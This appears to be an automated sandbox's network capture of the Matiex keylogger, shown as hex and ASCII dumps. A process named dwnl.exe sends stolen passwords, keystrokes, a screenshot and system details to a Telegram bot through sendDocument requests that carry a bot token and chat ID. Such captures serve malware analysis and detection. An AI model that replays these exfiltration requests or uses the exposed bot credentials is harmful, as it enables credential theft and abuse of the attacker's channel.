- Recovered Clipboard *\ \| System Information \| Comp
2021-09-13 04:32:05 UTC	2460	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 13 Sep 2021 04:32:05 GMT Content-Type: application/json Content-Length: 562 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-13 04:32:05 UTC	2460	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 39 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 37 30 39 36 33 31 33 36 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 31 32 30 35 39 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 45 54 54 59 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 55 54 54 45 52 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 65 74 74 79 62 75 74 61 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 31 35 30 37 35 32 35 2c 22 64 6f Data Ascii: {"ok":true,"result":{"message_id":295,"from":{"id":1709631362,"is_bot":true,"first_name":"TOBI5000","username":"TOBI5000_bot"},"chat":{"id":1120598411,"first_name":"BETTY","last_name":"BUTTER","username":"bettybuta","type":"private"},"date":1631507525,"do

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.5	49802	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-13 04:32:05 UTC	2461	OUT	POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Passwords%20%5C HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d976803458492f Host: api.telegram.org Content-Length: 833
2021-09-13 04:32:05 UTC	2461	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 37 36 38 30 33 34 35 38 34 39 32 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4d 61 74 69 65 78 50 61 73 73 77 6f 72 64 73 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 2f 2a 20 4d 61 74 69 65 78 20 4b 65 79 6c 6f 67 67 65 72 20 2d 20 52 65 63 6f 76 65 72 65 64 20 50 61 73 73 77 6f 72 64 73 20 2a 5c 0d 0a 20 0d 0a 0d 0a 7c 20 53 79 73 74 65 6d 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 7c 20 0d 0a 0d 0a 43 6f 6d 70 Data Ascii: --------------------------8d976803458492fContent-Disposition: form-data; name="document"; filename="MatiexPasswords.txt"Content-Type: application/x-ms-dos-executable/* Matiex Keylogger - Recovered Passwords *\ \| System Information \| Comp
2021-09-13 04:32:05 UTC	2462	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 13 Sep 2021 04:32:05 GMT Content-Type: application/json Content-Length: 554 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-13 04:32:05 UTC	2462	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 39 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 37 30 39 36 33 31 33 36 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 31 32 30 35 39 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 45 54 54 59 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 55 54 54 45 52 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 65 74 74 79 62 75 74 61 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 31 35 30 37 35 32 35 2c 22 64 6f Data Ascii: {"ok":true,"result":{"message_id":296,"from":{"id":1709631362,"is_bot":true,"first_name":"TOBI5000","username":"TOBI5000_bot"},"chat":{"id":1120598411,"first_name":"BETTY","last_name":"BUTTER","username":"bettybuta","type":"private"},"date":1631507525,"do

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.5	49803	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-13 04:32:05 UTC	2463	OUT	POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20keystroke%20%5C HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d9768034774736 Host: api.telegram.org Content-Length: 749
2021-09-13 04:32:05 UTC	2463	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 37 36 38 30 33 34 37 37 34 37 33 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4d 61 74 69 65 78 4b 65 79 73 74 72 6f 6b 65 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 2f 20 4d 61 74 69 65 78 20 4b 65 79 6c 6f 67 67 65 72 20 2d 20 52 65 63 6f 76 65 72 65 64 20 6b 65 79 73 74 72 6f 6b 65 20 5c 0d 0a 20 0d 0a 0d 0a 7c 20 53 79 73 74 65 6d 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 7c 20 0d 0a 0d 0a 43 6f 6d 70 75 74 Data Ascii: --------------------------8d9768034774736Content-Disposition: form-data; name="document"; filename="MatiexKeystroke.txt"Content-Type: application/x-ms-dos-executable/ Matiex Keylogger - Recovered keystroke \ \| System Information \| Comput
2021-09-13 04:32:05 UTC	2464	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 13 Sep 2021 04:32:05 GMT Content-Type: application/json Content-Length: 554 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-13 04:32:05 UTC	2464	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 39 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 37 30 39 36 33 31 33 36 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 31 32 30 35 39 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 45 54 54 59 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 55 54 54 45 52 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 65 74 74 79 62 75 74 61 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 31 35 30 37 35 32 35 2c 22 64 6f Data Ascii: {"ok":true,"result":{"message_id":297,"from":{"id":1709631362,"is_bot":true,"first_name":"TOBI5000","username":"TOBI5000_bot"},"chat":{"id":1120598411,"first_name":"BETTY","last_name":"BUTTER","username":"bettybuta","type":"private"},"date":1631507525,"do

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.5	49804	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-13 04:32:06 UTC	2465	OUT	POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Screenshot%20Logger%20%5C%0D%0A%20%0D%0A%0D%0A%7C%20System%20Information%20%7C%20%0D%0A%0D%0AComputer%20Name:%20562258%0D%0AMachine%20Name:%20Microsoft%20Windows%2010%20Pro%0D%0AMachine%20PlatForm:%20Win32NT%0D%0AComputer%20IP:%2084.17.52.51%0D%0A%0D%0ACountry%20Name:%20Switzerland%0D%0ACountry%20Code:%20CH%0D%0ATime%20Zone:%20Europe/Zurich%0D%0AFull%20Location:%20https://www.geodatatool.com/en/?ip=84.17.52.51%0D%0A%0D%0ADate%20and%20Time:%209/13/2021%20%20%20/%20%20%20%206:31:48%20AM%0D%0ATotal%20Hard%20Disk%20Space:%20224%20GB%0D%0ARam%20Space:%208.00%20GB%0D%0AHardware%20ID:%205C14-3120-C5E4-7FCF-C4B6-12B5-8EC5-2C8F HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d9768034a958a7 Host: api.telegram.org Content-Length: 828602
2021-09-13 04:32:06 UTC	2466	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 37 36 38 30 33 34 61 39 35 38 61 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 43 3a 5c 55 73 65 72 73 5c 61 6c 66 6f 6e 73 5c 44 6f 63 75 6d 65 6e 74 73 5c 4d 61 74 69 65 78 20 4b 65 79 6c 6f 67 67 65 72 5c 53 63 72 65 65 6e 73 68 6f 74 2e 70 6e 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 05 00 00 00 04 00 08 06 00 00 00 be 93 f4 43 00 00 00 01 73 52 47 42 00 ae ce Data Ascii: --------------------------8d9768034a958a7Content-Disposition: form-data; name="document"; filename="C:\Users\user\Documents\Matiex Keylogger\Screenshot.png"Content-Type: application/x-ms-dos-executablePNGIHDRCsRGB
2021-09-13 04:32:06 UTC	2482	OUT	Data Raw: 3e 01 b0 15 d2 52 e8 f9 68 41 8e 8e 24 48 0f ec a0 3c 29 64 3e 08 af 8b 28 bc a5 63 fd 75 d1 f5 74 5f 5f bb a5 48 fb 7d 40 36 19 17 0f fa 5c 12 f5 6b 07 c8 c6 34 89 f6 cf 6a 70 bf 95 83 6c d6 80 6c c6 a0 b1 1b 03 6d 57 92 9b f7 bc 2e 90 30 07 2f c2 09 a2 4b b9 bc dc 97 c2 62 44 29 d2 2f 1b 48 4a c8 e3 f0 a1 04 42 4c 29 81 4f 85 7c 2e 09 89 40 02 21 fc 11 24 30 cd b5 00 38 14 aa 2b 10 f6 4a d1 ed 9e 3a 5d 02 a0 46 88 7e 10 9e 07 d2 67 af 11 00 69 1d c8 b5 25 c9 c5 31 68 3d d7 a0 f7 8f 4a d0 de 56 03 b2 19 42 69 04 60 0f 2e 21 2a 17 a4 99 06 ba dc b1 41 65 ce 16 74 26 97 83 7c 12 09 f2 91 46 45 de 0d e7 08 2f 10 c1 3b c7 0a 81 ee 7f 5d 20 3b 35 20 9b 43 40 65 0c 40 8a 79 7d 40 63 bf c1 33 6d 01 f0 6f f7 79 07 14 00 1d fc e3 1f c7 7d cd 89 7e 2c 04 d2 f7 01 Data Ascii: >RhA$H<)d>(cut__H}@6\k4jpllmW.0/KbD)/HJBL)O\|.@!$08+J:]F~gi%1h=JVBi`.!*Aet&\|FE/;] ;5 C@e@y}@c3moy}~,
2021-09-13 04:32:06 UTC	2498	OUT	Data Raw: 41 f5 a8 80 2e 21 28 bc 14 79 b0 20 60 9d ab d8 33 84 36 f0 00 d0 67 12 b6 23 85 07 49 50 56 02 60 cf b7 8d fb 01 f4 e3 d0 be 9d 06 b5 75 72 97 d4 5c 1e ee a3 04 70 2e c8 fe 54 fd 5a 8b b4 8f 08 d2 cb f2 da 2f 31 46 0e c2 50 42 07 23 44 a7 dd 18 04 c0 68 0e c9 f5 27 f2 20 90 9d 1c c8 46 0e d4 27 35 20 9b 12 54 c7 00 71 19 40 a0 a7 c0 82 4b 00 12 3d 6a 90 b6 10 a0 4d 43 91 ed 47 f1 1b 02 b2 8d 59 d4 d8 d6 82 45 a9 01 20 d1 4f 82 f2 0c 00 b5 a9 06 64 73 b6 24 44 85 85 00 38 0e 9d f5 da b0 05 40 02 09 7f 4c af fa 23 01 90 d9 90 04 40 42 09 76 30 4d 29 da 96 05 ed 49 35 c0 33 d7 d2 15 cf 20 9f 44 32 9a 00 98 08 97 a2 9f 64 5e 05 c0 b8 8c 46 e0 eb 42 8a 24 08 28 6e 94 80 44 a5 05 ab 07 34 a6 33 04 cd c5 1c 5d 36 74 b8 7c 3f 15 fc 06 33 16 7a 93 a2 45 ce 02 e0 Data Ascii: A.!(y `36g#IPV`ur\p.TZ/1FPB#Dh' F'5 Tq@K=jMCGYE Ods$D8@L#@Bv0M)I53 D2d^FB$(nD43]6t\|?3zE
2021-09-13 04:32:06 UTC	2514	OUT	Data Raw: 91 09 0e 53 44 e1 61 c0 76 b2 b6 72 20 47 63 28 d2 19 ca 39 37 3a 5d 4b 8d 00 18 39 69 42 04 84 17 7c 72 3c 85 83 bb c9 6e cf f6 c8 4b 34 c3 f9 50 1c 11 d8 16 ce ab 83 ca 17 4e ea c4 89 b4 4e e3 0e b6 ee c4 f6 1d ec 60 d3 b7 2c ed f8 8c 4e a2 fe 90 50 d9 6c cb da 9e 08 80 60 6c 22 ec fc 82 a0 b4 19 b4 03 8b d2 74 11 cc 17 76 c2 17 44 e2 1f 81 d2 09 16 02 e0 64 fd ca 35 4c 7f eb f5 9d 23 58 f7 02 94 76 4c fc 65 5a ec 69 1e 0e e7 34 30 6d 2b c4 cd 50 fc 63 5c bc 16 26 0a 08 44 0e 25 68 79 80 58 e2 40 69 11 28 ef 4a 32 56 fd b4 9d 81 c8 b1 e8 03 b2 19 30 ed 36 80 f9 25 41 75 1e 93 7a e1 ef 2f 02 36 79 c8 9f 07 22 20 12 02 35 41 1b d5 5a ad 47 ee 25 00 bd f7 28 fc 3e 56 b9 6f fa b4 60 4f af c1 9f 53 ea 1c cb d2 25 00 12 c8 6f 41 d4 e4 43 7e 13 f2 e9 67 01 dd Data Ascii: SDavr Gc(97:]K9iB\|r<nK4PNN`,NPl`l"tvDd5L#XvLeZi40m+Pc\&D%hyX@i(J2V06%Auz/6y" 5AZG%(>Vo`OS%oAC~g
2021-09-13 04:32:06 UTC	2530	OUT	Data Raw: 16 c1 64 f7 7b 23 c0 36 9f f1 ac 67 87 f2 76 05 cc 66 65 87 d7 95 de 04 48 d9 2c f9 c6 b0 7f b8 59 a4 bf fb e6 75 e8 5c 10 37 17 63 eb 61 5e 3a db 49 d4 e6 7b 34 5d 0d b6 8e c5 a7 f7 37 ac e2 06 49 68 e5 0c a7 73 c3 35 37 f2 be 74 76 59 1f 56 e6 cd 03 0b f4 2c 4c e2 14 54 82 4e a5 1d b9 95 f0 41 af 0f 9a 3b dc 4b a8 49 40 1b a4 eb ff e6 03 fd 38 08 43 d3 88 58 48 b2 4f e5 9f 1d 05 98 47 02 7a 54 06 de b6 94 91 5a 3e 2d 33 58 3d 38 cc eb 91 83 e5 48 c1 32 40 97 fa 47 10 6b 8f 99 6b 23 35 f1 a7 e4 40 57 f2 89 01 b2 1e db 3e c1 ab 69 5a ca 00 5c 61 eb f6 41 e5 1f 70 6d 28 b7 97 75 16 80 72 bc 98 98 db 28 b2 c8 eb a7 2e 01 db f6 3f 17 7a 1e 74 40 e7 b8 cb 2e 01 18 11 f9 17 b0 32 ad 03 13 72 1e 27 54 46 e3 c5 0c 83 ad d7 a1 5b ee 28 ff 9c 80 5a 12 71 34 5f 64 Data Ascii: d{#6gvfeH,Yu\7ca^:I{4]7Ihs57tvYV,LTNA;KI@8CXHOGzTZ>-3X=8H2@Gkk#5@W>iZ\aApm(ur(.?zt@.2r'TF[(Zq4_d
2021-09-13 04:32:06 UTC	2546	OUT	Data Raw: 45 1f 57 b6 7f 0f 92 f2 ef 08 c0 84 7c 71 98 70 50 88 49 0b 58 2c db b2 6c 01 c8 1e db 15 7a 84 9a 15 6e ec f1 e7 d9 81 e1 d8 28 07 20 8f f8 37 4f db cd 7f 12 56 a6 02 96 66 5d 04 60 62 76 4b 74 ee 13 90 2c 7d d8 b4 35 54 b0 f5 01 51 97 21 9d 4a 82 ed 34 53 16 15 80 0e cd 37 cf f3 eb 27 ba db dd 60 a4 0e 5d 3d 7a 99 22 54 3a e4 36 8d cd a3 0f bb 0e cb d3 62 97 33 58 fe 16 73 4c 18 45 1b 98 03 ba cd 0d 85 d4 d9 14 58 9d 26 fc 97 93 58 1a a5 b6 7c cc ba 0b a1 f5 50 b4 a9 40 51 47 8b c3 8e fd 18 58 9b 03 43 cb 47 43 ca ba 53 21 c7 90 b4 4b 50 1c 67 b2 3c b0 4b 00 d6 e8 11 80 02 82 b2 32 30 5c 17 44 f2 f5 a1 01 f0 e6 14 80 79 24 60 c2 77 10 b4 23 02 01 a8 7f cb 32 ed b8 38 51 d4 01 92 0d 92 05 53 ed 40 15 02 c5 74 bc 00 04 a0 41 45 c4 ea 71 0f 1b 64 0d 5f ce Data Ascii: EW\|qpPIX,lzn( 7OVf]`bvKt,}5TQ!J4S7'`]=z"T:6b3XsLEX&X\|P@QGXCGCS!KPg<K20\Dy$`w#28QS@tAEqd_
2021-09-13 04:32:06 UTC	2562	OUT	Data Raw: c7 74 8f ed 7a 0b c0 d5 2d a1 ac b6 b3 4f b0 62 80 31 35 3d 68 bf f0 bb e3 05 a0 95 79 96 95 d3 9e 20 b0 65 16 2f 79 ea 44 e1 17 47 8c b5 b4 e2 68 3a 56 fc 65 11 e5 84 55 47 86 a1 8d 1b 99 66 e5 5f 3e a7 cc 79 36 84 95 71 73 11 b6 37 17 69 fd 58 8e 72 1f 3d be 4e 94 be 65 55 0a 01 18 ae 55 b6 ee e5 b8 44 01 48 47 03 82 d4 a6 b4 3d da 0f 27 31 34 5d 0d db 96 0b 9c 00 5c 0b e7 82 97 80 91 f6 5c f4 e7 a9 3f b7 8b fb 81 42 ef 1d f1 7a 83 7b 4b bc 4e c5 fb 8d bd 0e 66 09 98 ae 77 05 7d 02 10 98 7b 2f ee e1 3b bb 00 ec 95 80 4e f6 55 49 f1 d5 54 01 68 05 1f 63 15 b1 20 e2 3c 37 bf cd 83 8b b4 b1 e4 38 94 2c db 10 24 66 6e cb 51 08 c0 2c ff b8 00 94 fe 49 db 69 6c 3b 59 b6 b3 9c 3b cd 3a d2 2d a1 e2 ab db 21 73 90 4e 9b ca bf 65 08 40 db 99 9b 07 96 67 2f e9 91 Data Ascii: tz-Ob15=hy e/yDGh:VeUGf_>y6qs7iXr=NeUUDHG='14]\\?Bz{KNfw}{/;NUIThc <78,$fnQ,Iil;Y;:-!sNe@g/
2021-09-13 04:32:06 UTC	2578	OUT	Data Raw: d3 9e 16 38 fd c9 11 fc ad d8 4e 66 0f 51 20 99 0e 2a e9 c0 82 8e 08 4c e8 48 b2 1a a5 3c 22 a8 28 aa c8 a2 fc 28 6d 92 81 fa 88 b0 8a 23 2b 03 95 3c 6a 0c ef 7b bb 47 1c 11 98 c1 63 c2 f7 8a 8f 0a 8b 90 81 94 b8 f7 ab 64 44 9f 8c ee fb 95 d7 47 92 e4 9b dd ef 0d cd ca af bc a9 c3 ea af bc b5 60 e5 7e 6f 29 97 ab 20 bc ef 6b 5b 41 a2 02 08 12 09 a3 04 ef fe f2 28 b2 30 e2 0d 02 0c 92 53 1e 1b 7e 5e 13 df 23 18 d0 ba 3c 3d d4 75 60 ed b4 40 38 66 bb 9d fe cc 66 37 88 be 24 01 57 c3 df 16 99 7f c6 d3 9a b5 b0 ee da 59 4f 97 e9 ea 99 17 74 90 f9 67 59 dc 63 c0 67 3e c7 f1 3c 99 e6 0f a0 e0 18 f6 e1 8e ab ca bf d5 3b 5f 18 8e 23 48 72 d7 3e ea 6d 8e a5 17 7e 75 d9 5b c1 c8 a4 31 e8 a3 e4 59 50 61 54 a7 fc 8d 51 70 ed 34 4a b8 ae e0 9b 9f 28 c7 14 15 67 2d ad Data Ascii: 8NfQ *LH<"((m#+<j{GcdDG`~o) k[A(0S~^#<=u`@8ff7$WYOtgYcg><;_#Hr>m~u[1YPaTQp4J(g-
2021-09-13 04:32:06 UTC	2594	OUT	Data Raw: 9f 23 f5 f7 a3 3c 8c cd 8e b5 49 32 ce 7d 14 83 e6 9a 7b f9 bf 1c a5 58 e7 59 6c 5e e8 b7 ad 16 ca 32 a3 a4 2c 2f 7a 6b ec 99 e1 e5 e3 51 68 bb bf 94 4c fc 79 d8 fc 3c 15 28 ee 83 f1 d3 cc eb ee fd 31 08 93 bf 5d b8 12 54 c0 4d 73 15 a7 d2 66 f0 2a 7a a3 90 c9 3e a1 bb f1 51 a9 c2 99 2a 9e a5 f0 73 2b ab 0e a5 f0 13 b4 49 cc b0 68 c5 b9 d1 c4 d7 c8 bb f1 c0 92 cf 99 df 99 49 15 f7 52 d6 15 94 d2 cf c3 93 7e d9 72 91 7e 2a fe d2 8b 05 04 e0 08 12 b0 41 1f f9 37 a9 02 70 7b 7a 71 72 69 ca 3e 6d 8a 65 69 08 3d 87 14 c1 61 a8 76 42 73 5e 7a c1 4b 7d 40 35 25 1d 93 e4 df 55 35 49 fe 11 56 de 0d 81 36 f1 4d 4d 7d 31 9f 85 5f 2d fe b2 a6 be 2c f9 2c 22 f6 06 91 c4 5f a4 14 7f 00 9d e8 bb 82 cf 82 be b5 ca 79 23 08 40 ed c3 8b fb f1 72 04 60 ec ab ee 35 19 fc b2 Data Ascii: #<I2}{XYl^2,/zkQhLy<(1]TMsfz>Qs+IhIR~r~*A7p{zqri>mei=avBs^zK}@5%U5IV6MM}1_-,,"_y#@r`5
2021-09-13 04:32:06 UTC	2610	OUT	Data Raw: 41 42 a8 ee 80 fa 47 d6 5f 31 24 a0 ad f3 80 f9 74 5d 4d fd 48 eb ef 10 80 2c 01 cd bb 02 f0 ea 89 ca a0 e5 93 48 b3 0e 5b d4 77 cd 7b 80 d6 8d a3 00 c4 48 ad 90 15 3c 6a eb 2e a1 b3 0a 3e 3b e9 8b b7 8a cd 80 ff e1 65 a1 f3 8c 17 f5 07 51 7e 0a 04 d4 d3 ff 29 f2 cc 97 86 ce b3 57 a3 9b 98 b6 03 f0 19 72 0a 32 0c 51 69 0a a6 15 9d 87 66 ad 88 a0 43 8a 01 42 f0 3b 2c 0d 69 fb d8 27 e5 1f 57 97 65 22 bf 74 9e 82 69 6c e3 85 9b 8f 4f 00 a2 d9 30 a2 00 b1 2f e5 3e 73 13 52 fc 3d 1a 16 6d 2f c7 a5 c7 20 fb 8f 88 39 66 a5 19 a1 fb 9c d5 63 24 9f 03 f7 83 27 23 e1 76 11 f1 27 f0 34 d6 a1 6d 54 2f de 22 74 5f b8 71 da 56 b6 3f 8a 3d 6f 76 7e b6 bf 22 d7 70 bd 44 f8 31 7a 6d 14 08 4b bd a6 34 cd bf ab c7 83 fd 18 8f 00 44 73 59 44 01 3e 7f 83 d0 79 ce 1a 11 3d 76 Data Ascii: ABG_1$t]MH,H[w{H<j.>;eQ~)Wr2QifCB;,i'We"tilO0/>sR=m/ 9fc$'#v'4mT/"t_qV?=ov~"pD1zmK4DsYD>y=v
2021-09-13 04:32:06 UTC	2626	OUT	Data Raw: ae 67 d1 e5 9c 96 bf 6d f3 58 3f 52 fe 9b 00 d8 8e 9e a7 c6 36 4d 5e ec 83 15 68 6d 78 df b3 78 df 51 91 66 a5 1b c8 25 9b 23 01 8d 00 74 b7 4b d8 65 15 04 9d 59 96 e6 15 bf 33 3a b5 fc 1b 46 00 76 14 2b eb 4a 92 bc 33 0c 58 67 85 00 1c 9f 00 e4 11 5a 97 96 00 74 1e f0 53 5f 00 36 a5 9f 85 2b 41 8d 81 10 80 1f 11 95 50 c1 47 15 aa 36 ca e8 be 28 fa 6a b2 c1 10 76 bc a2 1d ae c0 69 45 ee 6a 91 27 2f 67 5c 11 52 52 8a 11 b3 8c fb 8f 29 a8 76 7d 79 e8 ed 72 0d 51 a7 63 bb 5e 4b bc 82 53 cc ab e6 d0 e7 9d 5f 11 7a b4 2f 1a 45 88 66 c5 dc 34 19 62 48 cf d3 b6 0b 23 db 10 5b d3 79 9d 4d e7 1b 6c 85 08 42 54 38 cf ab d9 8a ae 21 2a 9e 40 9b 1e e3 f3 ec b3 29 4f 80 38 50 8c a5 94 74 93 8d 97 e7 aa 6d ce 4d 34 f3 5b 4e 99 3f 4b bc ef 8c 84 2b f9 3c 6a e9 67 05 76 Data Ascii: gmX?R6M^hmxxQf%#tKeY3:Fv+J3XgZtS_6+APG6(jviEj'/g\RR)v}yrQc^KS_z/Ef4bH#[yMlBT8!*@)O8PtmM4[N?K+<jgv
2021-09-13 04:32:06 UTC	2642	OUT	Data Raw: 5a 21 7b 1d 7f df a8 d5 94 b9 6a 25 65 ae c4 b1 f2 31 a7 a4 a0 45 9b e3 da 08 bc 50 e6 a1 e9 73 73 71 12 cf 43 46 3b 6e 06 d9 2b f9 3a 32 99 2b f0 39 4f 0c 2a 7a dd ed 7d d0 48 4d 91 b8 b8 cf 36 3f a8 10 34 03 89 bc 97 8c 2a 2c f9 d6 88 c0 cc 70 8c 24 8c a8 40 2e 57 28 67 28 8f 47 32 47 2c a1 ec a1 8b 28 77 88 19 30 24 73 00 3f 4f 30 22 39 9e 6b 03 f9 19 89 e7 66 bf c9 94 ed 3b 81 f2 bd c7 ca ef 0d fc 33 55 5a 4e 74 e1 77 0e 7e 5b ca 7b 8d df 83 78 8f 42 04 42 02 02 fe 3d 20 ff 30 b4 2d 06 44 04 e2 b7 b7 15 7f 51 01 a8 04 02 50 d0 28 c0 10 5f ee 35 87 52 a2 ae 14 2a ff 4a 4a 40 6f 7f b1 fd a6 04 60 44 02 6e 88 02 50 51 d1 e7 84 5e b0 ce 89 b8 e6 08 c0 c8 e7 cd 76 4d 08 40 bb ad fb ae 00 5f e6 ad 0d 4e 00 96 22 22 f0 0c be ec 8b 61 b7 fb 63 2c 9a d0 22 02 Data Ascii: Z!{j%e1EPssqCF;n+:2+9Oz}HM6?4,p$@.W(g(G2G,(w0$s?O0"9kf;3UZNtw~[{xBB= 0-DQP(_5R*JJ@o`DnPQ^vM@_N""ac,"
